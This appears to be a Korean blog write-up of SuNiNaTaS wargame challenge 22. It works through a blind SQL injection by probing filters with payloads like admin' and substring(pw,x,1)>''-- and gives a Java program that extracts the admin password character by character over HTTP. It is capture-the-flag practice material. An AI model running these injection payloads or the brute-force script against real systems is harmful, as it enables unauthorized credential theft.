본문 바로가기
[웹해킹]/[SuNiNaTaS]

[SuNiNaTaS] 22번

by Hevton 2020. 12. 7.
반응형

생각보다 좀 빡셌다.

필터링이 이것보다 더 많다.

 

간단하게 풀 줄 자신했었는데, 생각보다 오래 걸렸다. 반성해야지.

 

항상, 공격하려는 환경에서 무엇이 먹히고 안먹히는지 쿼리를 통해 확실히 확인해보는게 중요하다.

 

 

알아낸 필터링 : ord, hex, || 


[ 시도 ] (윗줄이 id 아랫줄이 pw)
guest’ and 1=1-- 
1234

-> true

guest’ and length(‘hi’)=2— 
1234

-> false. 으잉???

guest' and pw='guest'-- 
1234

-> true

컬럼명은 pw가 맞다. length가 안먹히는 듯 하다.
length가 필터링은 아닌데 안먹힌다.
substr나 mid도 마찬가지.

 

그리고 다행히도 substring이 먹힌다.!!


guest' and substring(pw,1,1)>''-- 
을 시도하여 문자열의 길이를 체크할 수 있다.

guest' and substring(pw,1~5,1)>''-- 
1234
-> true, 6일때부터 false, 왜냐면 비밀번호 길이는 5이기 때문.

 

 

 

이를 그대로 admin에 적용

admin' and substring(pw,x,1)>’’— 
1234

x의 값을 증가하면서 false가 나올 때 까지 돌린다.
그럼 x가 10일때까지만 true인 것을 알 수 있다 = 비밀번호는 10자리.

 

 

알아낸 비밀번호 길이를 토대로 한자리 한자리 알아낸다.

 

admin' and substring(pw, x, 1)=y-- 

 

[JAVA]

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

public class break_even_point {

    public static void main(String args[]) {
        String d="";
            for(int i = 1; i < 11 ; i++) { // id는 24자리
                for(int j = 33 ; j < 127 ; j++)
                {
                    try {
                        StringBuilder sb = new StringBuilder();
                        //여기서 띄어쓰기를 인코딩 안하고 넘겨주면 페이지를 인식하지 못하고 에러가 생기더라.
                        String str = "id=admin%27%20and%20substring%28pw%2C"+i+",1%29%3D%27"+String.format("%c", j)+"%27--%20&pw=1234";
                        URL url = new URL("http://suninatas.com/challenge/web22/web22.asp?"+str);
                        HttpURLConnection hc = (HttpURLConnection) url.openConnection();
                        hc.setRequestProperty("Cookie", "ASP.NET_SessionId=본인세션;ASPSESSIONIDSQTTABSC=본인세션");
                        System.out.println("i = "+i+" j = "+j);

                        BufferedReader br = new BufferedReader(new InputStreamReader(hc.getInputStream()));
                        String s;
                        while ((s = br.readLine()) != null)
                            sb.append(s);

                        if (sb.indexOf("OK") != -1) {
                            d += String.format("%c", j);
                            System.out.println("GET :"+d);
                            break;
                        }
                    } catch (Exception e) {
                        System.out.println(e.getMessage());
                        return;
                    }
                }
            }
    }
}

의외로 코딩하고 돌리는데에서 시간을 좀 썼다. 처음에 코드를 짜고 guest로 테스트를 하는데 정상적으로 작동하지가 않는 것이다 ㅜㅜ...

알고 보니, 내가 이전에 str 부분에 그냥 url 인코딩을 안하고 넘겨줬는데 여기서 문제가 생겼었다. 위 코드 처럼 인코딩을 해서 넘겨주면 문제없다.

 

물론 url encoding을 해서 넘겨주는 것이 정석이며 훨씬 명확하고 좋지만, 귀찮아서 잘 안하는데... 이 때문에 피를 보게 했다.

실험 결과 공백을 인코딩 하지 않은 채 넘겨주면 페이지 인식 에러가 생겼다.

 

이번 기회에, url 주소창 접속이 아닌 코딩으로 직접 접속할 때 공백을 인코딩해서 넘겨주지 않으면 에러가 생긴다는 것을 알았다. (아니면 이 서버만 그럴지도..? ㅎㅎ 어쨌든 꼼수부리지 않고 인코딩 잘 해줘야겠다 ㅜ) 

 

편하려다가 피를 봤으므로... 이 김에 앞으로 항상 인코딩이 필요한 작업엔 명확히 인코딩을 해줘서 정석적으로 해야겠다고 다짐했다.

 

어쨌든!! 저 위의 소스를 돌리면, 비밀번호 10자리를 알아낼 수 있고, 그걸 Auth에 입력하면 끝.

 

 

반성의 시간을 가지자

반응형

'[웹해킹] > [SuNiNaTaS]' 카테고리의 다른 글

[SuNiNaTaS] 23번  (0) 2020.12.08
[SuNiNaTaS] 8번  (0) 2020.12.06
[SuNiNaTaS] 7번  (0) 2020.12.06
[SuNiNaTaS] 6번  (0) 2020.12.05
[SuNiNaTaS] 5번  (0) 2020.12.04